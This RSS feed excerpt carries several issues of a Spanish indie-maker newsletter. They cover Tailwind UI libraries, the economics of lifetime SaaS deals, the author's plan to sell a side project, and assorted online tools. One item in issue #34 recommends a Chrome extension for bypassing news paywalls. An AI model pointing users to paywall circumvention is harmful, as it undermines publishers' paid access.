<a class="link" href="https://tailwindcss.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">TailwindCSS</a> me parece la base de la economía.</p><p class="paragraph" style="text-align:left;">Es la versión tecnológica de un gusto adquirido. De esos como el café o la cerveza donde la primera impresión es <i>¿qué puto asco es esto?</i>.</p><p class="paragraph" style="text-align:left;">Pues igual. Y luego te haces <span style="text-decoration:line-through;">alcohólico</span> adicto.</p><p class="paragraph" style="text-align:left;">Esta semana me he encontrado un puñado de herramientas y librerías del ecosistema Tailwind que voy a empezar a usar ya mismo. Aquí os las comparto.</p><p class="paragraph" style="text-align:left;">El primero, <a class="link" href="https://ui.shadcn.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">shadcdn/ui</a>. Este es 100% para React. Es una idea un poco rara. No es una librería, ni tampoco se usa copiando y pegando código como en muchos otros proyectos similares. Tienen un comando que ejecutas con <code>npx</code> para “instalar” (copiar a tu proyecto, en realidad) componentes.</p><p class="paragraph" style="text-align:left;">Pero luego, además, te enseñan el código completo de React para usarlo. Éste sí puedes simplemente copiarlo y pegarlo, o leerlo y entenderlo.</p><p class="paragraph" style="text-align:left;">¿Mola, eh? Pues aquí viene la magia. Esta librería está basada en otra, <a class="link" href="https://www.radix-ui.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">Radix UI</a>. Radix es una librería de <i>unstyled components</i>. Vamos, sólo la lógica, rollo o . Y tu con estas primitivas montas algo y te llevas gratis la accesibilidad, navegación con teclado, <i>bounces</i> y todo lo típico.</p><p class="paragraph" style="text-align:left;">Cambiando de tercio sin salirnos de Tailwind tenemos uno también raro. Este no es para React, es agnóstico. <a class="link" href="https://daisyui.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">DaisyUI</a>. No tengo claro si me gusta o no. Te lo explico: es una colección de clases al estilo Boostrap: <code>accordion</code>, <code>alert</code>, <code>btn</code>, <code>btn-group</code>, <code>footer</code>, etcétera. ¿No es esto justo lo contrario que recomiendan desde Tailwind? A primera vista, sí. Pero al mismo tiempo, veo casos de uso evidentes.</p><p class="paragraph" style="text-align:left;">No sé, tengo que darle una vuelta.</p><p class="paragraph" style="text-align:left;">Y para acabar y desempalagar de tanto CSS, una herramienta que me encanta para hacer screenshots bonitas: <a class="link" href="https://app.jellylade.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=36-aprendeme-la-mortal" target="_blank" rel="noopener noreferrer nofollow">Jellylade</a>. Hay otras por ahí, de escritorio incluso que es muy cómodo, pero esta es gratis. Qué más puedes pedir. Que funcionase un poco mejor, se podría pedir. Pero bueno, que es gratis.</p><h1 class="heading" style="text-align:left;">👋 Outro</h1><p class="paragraph" style="text-align:left;">Doy por cerrada esta edición de la newsletter con cosas en el tintero virtual de mi cabeza para contaros que tendrán que esperar a la semana que viene porque, primero, ya se está haciendo largo esto y, segundo, tengo el Slack echando fuego de gente que quiere sus movidas hechas.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/e404b85e-bf9c-476d-8bbd-6bfff703b70a/jellylade__3_.jpeg"/><div class="image__source"><span class="image__source_text"><p>No pongo nombres por proteger la identidad de la perpetradora</p></span></div></div><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=72767a75-cac6-4e8f-b7e9-3938e042b75b&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#35 - Comida Coreana Infinita</title>
  <description>Huevos flotando en soja, lifetime deals y la cardinalidad de un conjunto infinito</description>
  <link>https://cuento.beehiiv.com/p/35-comida-coreana-infinita</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/35-comida-coreana-infinita</guid>
  <pubDate>Wed, 07 Jun 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-06-07T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">El otro día yendo a comer a un restaurante chino, de los del barrio chino, de los que dentro hay chinos hablando chino, pasé por delante de un coreano.</p><p class="paragraph" style="text-align:left;">Que por cierto, el chino muy bueno. Os dejo foto:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/881e9090-8603-492b-829f-285408d1fd1f/AA0C73D0-4A58-471D-BA5A-52CFCBE37E45_1_102_o.jpeg"/><div class="image__source"><span class="image__source_text"><p>Ni tan mal, ¿eh? Y te ponen agua con cubitos de gratis.</p></span></div></div><p class="paragraph" style="text-align:left;">Pero como decía. Un coreano. Un restaurante coreano, no un señor de Corea.</p><p class="paragraph" style="text-align:left;">El sitio se llama <i>tong tong</i> que así sin saber coreano ya me da risa, pero su lema, el <i>tagline</i>, su <i>ratio vivendi</i>, es todavía mejor.</p><p class="paragraph" style="text-align:left;"><b>Comida Coreana Infinita</b>.</p><p class="paragraph" style="text-align:left;">Vamos que es un bufé libre. Pero decir eso, o <i>all you can eat</i>, no capturaría ni de lejos la magia que esta gente ha destilado en aquellas tres palabras.</p><p class="paragraph" style="text-align:left;"><i>Comida. Coreana.</i></p><p class="paragraph" style="text-align:left;"><i>Puto </i><b><i>infinita</i></b><i>.</i></p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/2061fba7-902e-4fdf-bc4f-0a986ed9a607/Screenshot_2023-05-31_at_15.21.19.png"/><div class="image__source"><span class="image__source_text"><p>Álef sub cero lo menos, socio.</p></span></div></div><p class="paragraph" style="text-align:left;">Pues bueno, lo más loco de todo es que este tema me conduce a hablaros de un fenómeno habitual en el mundo del <i>indie hacking</i>. El tema de los <b>lifetime deals</b>. Y me apetece daros mi opinión. Así que hoy empezamos con la reflexión.</p><p class="paragraph" style="text-align:left;">Ah, por cierto: bienvenidos a la newsletter.</p><p class="paragraph" style="text-align:left;">Y ahora sí. Al lío.</p><h1 class="heading" style="text-align:left;">⏳ Reflexión — Paga ahora, quiebro luego</h1><p class="paragraph" style="text-align:left;">El otro día me enviaron un email de <a class="link" href="http://rsync.net?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">rsync.net</a>. Son un servicio de backups, yo tengo una cuenta desde hace años que pago entre poco y nada (creo que $9/año por 50GB). Me querían vender 1TB <b>de por vida</b> por $540. Cobran de normal a $15 por TB y mes, vamos que por el precio de tres años lo tienes para siempre.</p><p class="paragraph" style="text-align:left;">No está mal.</p><p class="paragraph" style="text-align:left;">Lo que me hizo gracia eran los FAQ.</p><p class="paragraph" style="text-align:left;">Primero, es <i>lifetime</i> de verdad. Es hasta que fallezcas. No transferible 💀.</p><p class="paragraph" style="text-align:left;">Y lo otro, te explican qué pasa si la empresa cierra. Y dicen: <i>“rsync.net has provided cloud storage for 22 years (!) and has been incorporated as &quot;rsync.net&quot; since 2005. We plan to continue offering our service into the indefinite future.”</i>.</p><p class="paragraph" style="text-align:left;">Vamos, que llevan más años que la baranda del río y que no te preocupes.</p><p class="paragraph" style="text-align:left;">Pero esto no suele ser así.</p><p class="paragraph" style="text-align:left;">¿Habéis echado un vistazo alguna vez a <a class="link" href="https://appsumo.8odi.net/NkzKZv?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">Appsumo</a>? Seguro que hasta habéis sido víctimas. Siempre con los <i>lifetime deals</i>. Paga cincuenta euros y usa este SaaS, que vale 10€/mes, <i>pa siempre</i>. Yo me he comprado un <i>puñao</i> de SaaS ahí.</p><p class="paragraph" style="text-align:left;">¿Cómo es posible? ¿Son grandes corporaciones que absorben las pérdidas valorando el <i>customer lifetime value</i> y atendiendo al <i>network-effect growth</i> o cualquiera otra ristra de palabrejas?</p><p class="paragraph" style="text-align:left;">No. Lo que pasa es que si la cosa no cuaja, pues chapan y a tomar por saco el <i>lifetime</i>. Pero a la gente lo de que sea de por vida le entra por los ojos, cegándolos ante la evidencia. Incluso en casos explicados de pe a pa como este:</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/damengchen/status/1656339706504970240?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">El fulano este, que tiene un poco nombre de marca de natillas, es el que se ha inventado <a class="link" href="http://pdf.ai?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">pdf.ai</a>, un servicio que subes un PDF y puedes “hablar con él”. Vamos que hace embeddings y usa la API de OpenAI para montarte un chatbot.</p><p class="paragraph" style="text-align:left;">Y por cierto, inciso, cuando digo inventado, lo compró a otro tipo por $20k y metió otros $10k por el dominio.</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/damengchen/status/1658527553056030720?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">El caso es que el servicio, a parte de haberle costado los $30k del ala (cosa ya cuestionable porque hay un puñado de versiones Open Source exactamente iguales), le cuesta dinero de hacer funcionar, porque es literalmente una UI y algo de pegamento sobre GPT-3.5, que se paga por uso y de ahí no te escapas.</p><p class="paragraph" style="text-align:left;">Damon hace el cálculo, que lo hace mal, pero bueno, yo lo corrijo.</p><p class="paragraph" style="text-align:left;">Asume un 5% de churn mensual, esto es, de gente que cancela la suscripción cada mes. Un 5% de churn es lo mismo que una duración de suscripción media de 20 meses. A un precio de $5/mes se traduce en un CLV (Customer Lifetime Value) medio de $100. A él le sale $30 porque no sabe multiplicar, y dice que está sacando x3 CLV vendiendo el lifetime a $99.</p><p class="paragraph" style="text-align:left;">Dejando de lado su cuestionable capacidad aritmética, la cosa está bien. Calculas lo que sacarás de cada cliente, le metes un multiplicador, y de media la jugada te sale ventajosa vendiéndole el vitalicio.</p><p class="paragraph" style="text-align:left;">Pero, ¿para el cliente? ¿Es buen negocio?</p><p class="paragraph" style="text-align:left;">Pues básicamente al comprar el <i>lifetime deal</i> no sólo te haces cliente. Te haces acreedor. Te <i>deben</i> un servicio, como mínimo, los 20 meses que sacarías a $5/mes con esos $99. Pero, ¿los vas a recibir?</p><p class="paragraph" style="text-align:left;">No tienes ni idea. Estás jugándotela.</p><p class="paragraph" style="text-align:left;">Jugándotela en este caso a un servicio que le falta el canto de un duro para hacerse deficitario. Ya está $30k en el hoyo. Si 100 clientes le han comprado el lifetime a $99, ha recuperado $10k. Y a partir de ahora, los 100 clientes gastan sin dejar nada a deber. Tienen barra libre de API de OpenAI.</p><p class="paragraph" style="text-align:left;">Si el servicio sigue en pie o no dentro de 12 meses dependerá únicamente de si el señor natillas encuentra nuevos incautos a los que vender lifetimes o comprar suscripciones.</p><p class="paragraph" style="text-align:left;">Mi conclusión: que si me monto un SaaS de este tipo, me voy a poner a vender <i>lifetimes</i> como el que más. Y engañaré a todos los jóvenes influenciables que pueda para que saquen sus VISAs sin mirar atrás.</p><p class="paragraph" style="text-align:left;">Pero a vosotros, que me leéis en confianza, os lo puedo decir:</p><p class="paragraph" style="text-align:left;">Cuidadín.</p><h1 class="heading" style="text-align:left;">🚧 #BuildInPublic — Ni un palo al agua</h1><p class="paragraph" style="text-align:left;">Esta semana ha sido semana de poco movimiento. Alguna conversación con potenciales interesados en <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>, pero nada sólido.</p><p class="paragraph" style="text-align:left;">Mucho tratar de cerrar los proyectos de desarrollo abiertos, mucho apoyar en <a class="link" href="https://ydevs.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">ydevs</a>, poco de buscarme la vida.</p><p class="paragraph" style="text-align:left;">Lo único a destacar es que he pagado 20€ por usar <a class="link" href="https://replit.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">Replit</a>. Replit es una especie de IDE online, accesible con el navegador, que incluye REPLs o máquinas virtuales sobre las que puedes desarrollar e incluso desplegar en producción por un módico precio.</p><p class="paragraph" style="text-align:left;">La gracia de pagar la versión Pro es que te da acceso a Replit Ghostwriter, que viene a ser su versión de Github Copilot. Esta sí promete tener en cuenta varios de los archivos en el proyecto simultáneamente para generar código nuevo, lo que es muy interesante.</p><p class="paragraph" style="text-align:left;">Por desgracia no he conseguido hacer funcionar mi stack habitual de NextJS 13. Así que he cancelado la suscripción. No sé si tendrá que ver con que tienen activos unos <i>channels</i> de <a class="link" href="https://nixos.org?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">Nix</a> muy viejunos o algo.</p><p class="paragraph" style="text-align:left;">Probaré a quejarme a ver si lo arreglan.</p><h1 class="heading" style="text-align:left;">🤖 Herramientas — Yes-code</h1><p class="paragraph" style="text-align:left;">Hoy os traigo calentitos tres bloques de recursos que os gustarán, especialmente a los de sensibilidad más técnica.</p><p class="paragraph" style="text-align:left;">1️⃣ Lo primero, siguiendo la trayectoria del no-code que se está volviendo un-poco-code-y-que-me-ayude-la-IA, me he cruzado con <a class="link" href="https://joinonu.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">Onu</a>. Esta herramienta se presenta en forma de SDK que integras directamente en tu aplicación, alimentándose de todo el código que ya tienes escrito para la lógica de tu producto. El resultado es un set de herramientas internas con su GUI bonita que cualquiera de tu equipo puede usar sin saber nada de código.</p><p class="paragraph" style="text-align:left;">En resumen, es como los miles de SaaS para crear pantallas de administración sin código, pero sin tener que reinventar la rueda escribiendo toda la lógica otra vez en editores visuales infumables.</p><p class="paragraph" style="text-align:left;">En la misma línea están <a class="link" href="https://www.windmill.dev?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">Windmill</a>, que es open source, y <a class="link" href="https://www.airplane.dev?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">Airplane</a>.</p><p class="paragraph" style="text-align:left;">2️⃣ Por otro lado, por no dejar el tema de la IA, os dejo link a un nuevo modelo que está dando que hablar, <a class="link" href="https://huggingface.co/tiiuae/falcon-7b-instruct?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">Falcon 7b</a>. Está optimizado para conversación como ChatGPT. Leí sobre éste por un post de alguien comentando que lo estaba ejecutando con rendimiento decente en un Macbook Air usando <a class="link" href="https://github.com/huggingface/exporters?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">este exportador</a> para transformar el código de Hugging Face a CoreML.</p><p class="paragraph" style="text-align:left;">3️⃣ Y para acabar un <a class="link" href="https://keygen.sh?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=35-comida-coreana-infinita" target="_blank" rel="noopener noreferrer nofollow">SaaS para añadir gestión de licencias a vuestro software</a>. Que a mi ni me interesa, pero es que la web y el nombre están muy guapos. Haced hover sobre el título y el <i>hero block</i>. Le falta la musica <i>chiptune</i>.</p><h1 class="heading" style="text-align:left;">👋 Acabando, que es gerundio</h1><p class="paragraph" style="text-align:left;">Espero que hayáis disfrutado otro miércoles más de esta microdosis de habladurías y sinsentidos que he escrito escuchando trance melódico comiéndome unos albaricoques.</p><p class="paragraph" style="text-align:left;">Que es verano ya casi.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=2efede3c-c8be-4456-9581-01e81df8e964&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#34 - Por un puñado de dólares</title>
  <description>Quemarlo todo y venderse al mejor postor.</description>
  <link>https://cuento.beehiiv.com/p/34-por-un-punyado-de-dlares</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/34-por-un-punyado-de-dlares</guid>
  <pubDate>Wed, 31 May 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-05-31T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Feliz miércoles y bienvenidos otra semana a esta newsletter que recibís, los que seáis de la metrópolis y aledaños, con las elecciones municipales y autonómicas calentitas y el anuncio de generales para julio, todo esto habiéndoos dejado el recto más o menos torcido, según las tendencias políticas de cada cual.</p><p class="paragraph" style="text-align:left;">A mi me pilláis con las nóminas calentitas acabadas de generar, hacienda recordándome el vencimiento del aplazamiento del IVA y la cuenta corriente confirmándome que de pobre todavía no me ha sacado ninguno de mis experimentos con gaseosa.</p><p class="paragraph" style="text-align:left;">Así que hoy vamos a hablar de recoger cable, deshacerse del ruido, ganar pasta y bueno, sí, también algo de la IA.</p><p class="paragraph" style="text-align:left;">Empezamos.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/0b8de69c-959e-4812-a17d-f203b5cd5ff0/poverty.gif"/></div><h1 class="heading" style="text-align:left;">🤝 <i>Sell-out</i></h1><p class="paragraph" style="text-align:left;">Uno de mis sustantivos preferidos es <i>vendido</i>. No el participio del verbo vender. El sustantivo. Ser<i> un vendido</i>. Aquel que se traiciona a si mismo o a los suyos por el lucro.</p><p class="paragraph" style="text-align:left;">Yo he decidido que lo que toca ahora es <i>ser un vendido</i>. Y a ver, que traicionar, traiciono bien poco, porque estamos hablando de trabajo, y en el trabajo, principios, los justos.</p><p class="paragraph" style="text-align:left;">Pero que lo de ir de <i>indie maker</i> y de crear proyectos y llevar empresas está muy bien. Pero está mejor si te da dinero. Y está peor si, como en mi caso, pasas la mano por la pared sin haber tocado ni el 30% de un salario de mercado en los últimos cinco años.</p><p class="paragraph" style="text-align:left;">Así que la primera decisión ha sido la de deshacerse de ruido. Olvidarme de <i>llevar empresas</i> como deporte. Volver a <b>ydevs</b> fue una decisión emocional, no racional, y no ha cuajado. Pese a que me exige escaso tiempo material, me genera una enorme carga mental que se empeña en consumirme. Así que me bajo del juego del ser un <i>empresaurio</i> de cartón piedra al que no le da ni para cobrar lo que el que menos de sus empleados.</p><p class="paragraph" style="text-align:left;">Hago ¡chas! y me convierto en consultor externo para asistir en las cuestiones técnicas que vayan surgiendo.</p><p class="paragraph" style="text-align:left;">Primera pata de la venta ejecutada. Aún que en esta no gane dinero.</p><p class="paragraph" style="text-align:left;">Por el otro lado está el <i>indie making</i>. Aquí de nuevo, pragmatismo. Hay proyectos que motivan, que apetecen. Que invitan a meterle horas. Otros no tanto, por ejemplo <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=34-por-un-punado-de-dolares" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>, que yace abandonado tristemente pese a tener un enorme potencial de crecimiento.</p><p class="paragraph" style="text-align:left;">Ya he comentado en varias ocasiones los motivos, así que no me explayo, pero en resumen, un proyecto fundado por dos personas ambas técnicas, vagas como puentes y dispersas como pedos al aire de poniente, está condenado al fracaso. Sabemos lo que hay que hacer, tenemos las herramientas y las habilidades, pero no lo haremos nunca.</p><p class="paragraph" style="text-align:left;"><a class="link" href="https://app.acquire.com/startup/wtyau1Bt3ldktEZvetmqMhwwvST2/I0fpab9VJiegKiGYO7zg?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=34-por-un-punado-de-dolares" target="_blank" rel="noopener noreferrer nofollow">Así que lo he puesto a la venta</a>.</p><p class="paragraph" style="text-align:left;">Por ahora tenemos unos cuantos mostrando interés:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/340050ba-4ad0-4f0b-ab69-0beee83a607e/Screenshot_2023-05-29_at_13_14_11.png"/><div class="image__source"><span class="image__source_text"><p>Veremos en qué se queda todo esto…</p></span></div></div><p class="paragraph" style="text-align:left;">Como aquí la cosa está en agilizar, les he escrito a todos el mismo mensaje. Que obviamente no he escrito yo:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/8e3bd282-f29a-445a-a3ce-6ece402d0a09/Screenshot_2023-05-29_at_13.17.50.png"/><div class="image__source"><span class="image__source_text"><p>Gepeté, vendedor pofesioná</p></span></div></div><p class="paragraph" style="text-align:left;">Veremos qué dicen.</p><p class="paragraph" style="text-align:left;">Este es el resumen tristón de mi semana en el camino para vivir del cuento. No siempre habrá que avanzar. A veces, lo correcto es retroceder, coger perspectiva, hinchar los pulmones y volver a la carga.</p><p class="paragraph" style="text-align:left;">Pero para que no os quedéis con mal sabor de boca, os cuento mi último experimento modelo <i>nadie al volante</i>.</p><h1 class="heading" style="text-align:left;">🤑 #BuildInPublic — Venderse caro</h1><p class="paragraph" style="text-align:left;">Os hablaba de deshacerse de cosas. Pero eso no da para comer. Así que algo tendré que hacer.</p><p class="paragraph" style="text-align:left;">Mi plan es simple. Vender mi tiempo al mejor postor. Y ya está. Levantar el teléfono, tirar de contactos y a ver quién me da trabajo a horas apretando teclas. Y mientras, con lo que me sobre de día hacer mis mierdas para tener de qué hablaros aquí.</p><p class="paragraph" style="text-align:left;">Pero, por si suena la flauta, sería genial tener algo com aquel tipo de Designjoy que os contaba la semana pasada levantándose $5000/mes por cliente.</p><p class="paragraph" style="text-align:left;">El tío al final básicamente estafa a los clientes a $1100/hora de media.</p><blockquote align="center" class="twitter-tweet"><a href="https://twitter.com/helloitsolly/status/1661420112555941888?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=34-por-un-punado-de-dolares"><p> Twitter tweet </p></a></blockquote><p class="paragraph" style="text-align:left;">Pero, ¿y qué? Le funciona. Así que ¿por qué no probarlo?.</p><p class="paragraph" style="text-align:left;">Y cuando digo probarlo me refiero a hacer una web a medias con IA que no he promocionado en ningún sitio:</p><div class="embed"><a class="embed__url" href="https://mvplabs.dev?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=34-por-un-punado-de-dolares" target="_blank"><div class="embed__content"><p class="embed__title"> mvplabs.dev </p><p class="embed__description"> Mi webpeicher para venderme como el iluminao de los diseños a mil pavos la hora. Pero haciendo MVPs. </p><p class="embed__link"> mvplabs.dev </p></div><img class="embed__image embed__image--right" src="https://beehiiv-images-production.s3.amazonaws.com/uploads/asset/file/ac8d3891-131c-48b1-8c6a-40a715c69756/hero-fill.png"/></a></div><p class="paragraph" style="text-align:left;">¿Mola, eh? No sé si quedará en nada, pero sería un puntazo si alguien pagara.</p><p class="paragraph" style="text-align:left;">Si no, que sería lo normal, pues plan A, que como decía es buscar a alguien al que le interese lo que sé hacer, negociar el precio/hora más alto que dé, y dejar de ser pobre de solemnidad aún que sea durante los escasos meses que le quedan a este sector de vida.</p><p class="paragraph" style="text-align:left;">Aprovecho para anuncio:</p><div class="blockquote"><blockquote class="blockquote__quote"></blockquote></div><p class="paragraph" style="text-align:left;">Y no es coña, ¿eh? Que sólo me leéis 19, pero <i>from lost to the river</i>.</p><h1 class="heading" style="text-align:left;">🪓 Herramientas — Cajón de sastre</h1><p class="paragraph" style="text-align:left;">Hoy os presento un puñado de cosas inconexas que me han llamado la atención últimamente.</p><p class="paragraph" style="text-align:left;">Primero, una de las que es útil tener en los marcadores. Cada dos por tres necesitamos quitarle el fondo a una foto, y lo de recortar a mano píxel a píxel evidentemente ya está más que muerto. Ahora se hace con IA, lo hace Adobe y, bueno, lo hace <i>to cristo</i>, pero se empeñan en cobrarte o, al menos, que hagas log-in en su pozo de email marketing y perdición. Por eso me ha llamado la atención <a class="link" href="https://pixian.ai?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=34-por-un-punado-de-dolares" target="_blank" rel="noopener noreferrer nofollow">esta herramienta online</a> que te deja quitar el fondo a imágenes hasta 2 megapíxeles (vamos, aprox 1920×1080) sin hacer login. Y las mas grandes, o por API, pagando a dos céntimos la foto.</p><p class="paragraph" style="text-align:left;">Cambiando de tema, ahora con las elecciones me ha dado por leer más prensa de la habitual. Así que siguiendo este tema, para los que os guste leer el periódico online pero os da por saco que los usureros de los periodistas cobren (¡inaceptable!), <a class="link" href="https://gitlab.com/magnolia1234/bypass-paywalls-chrome-clean?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=34-por-un-punado-de-dolares" target="_blank" rel="noopener noreferrer nofollow">esta extensión de Chrome open-source</a> se salta la mayoría de los paywalls.</p><p class="paragraph" style="text-align:left;">La tercera, para los que lo estéis petando y tengáis una LLC o similar en USA, me he topado con <a class="link" href="https://mercury.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=34-por-un-punado-de-dolares" target="_blank" rel="noopener noreferrer nofollow">Mercury, un pseudo-banco online americano</a> especializado en startups que no te pide residencia o dirección fiscal allí. Empresa americana sí, pero les da igual si vives en la <i>conchinchina</i>. Me la he guardado más que nada por hacerme ilusiones, porque lo que ofrecen mola. Pero a mi anteriormente descrita pobreza me remito.</p><h1 class="heading" style="text-align:left;">🧐 Reflexión y outro</h1><p class="paragraph" style="text-align:left;">Las inercias son malas. Errores en piloto automático. Cinco años en una empresa que me ha hecho perder literalmente decenas de miles de euros en potenciales salarios de mercado, por inercia, es un error. Cinco años de intentos a medio gas de vivir del cuento resultando en cuatro duros y veinte úlceras, por inercia, es un error. Cinco años de maltratar a clientes de paciencia infinita por una falta de atención enquistada, por inercia, es un error.</p><p class="paragraph" style="text-align:left;">Mi briconsejo de jardinería de hoy, rechaza la inercia. Coge el <i>sunken cost</i> y pégale un tiro detrás del granero. Quema los barcos y hazte profesor de matemáticas. O freelancer. <a class="link" href="https://www.soprasteria.com/careers/our-job-profiles?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=34-por-un-punado-de-dolares" target="_blank" rel="noopener noreferrer nofollow">O envía el currículum a una cárnica</a>.</p><p class="paragraph" style="text-align:left;">Pero lo que hagas, que no sea por inercia. Que no sea por miedo.</p><p class="paragraph" style="text-align:left;"><span style="color:rgb(34, 34, 34);font-family:Helvetica, Arial, sans-serif;font-size:16px;">Hasta aquí la newsletter de hoy, a la que voy a tener que pleantearme cambiar el título para llamarla </span><span style="color:rgb(34, 34, 34);font-family:Helvetica, Arial, sans-serif;font-size:16px;"><i>a llorar, a la llorería</i></span><span style="color:rgb(34, 34, 34);font-family:Helvetica, Arial, sans-serif;font-size:16px;">. Os prometo que la próxima será menos catastrofista.</span></p><p class="paragraph" style="text-align:left;">O no.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p><p class="paragraph" style="text-align:left;">4</p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=14a7d0ff-8bd3-4aeb-9cb6-3095d3d45a63&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#33 - Multipotencial</title>
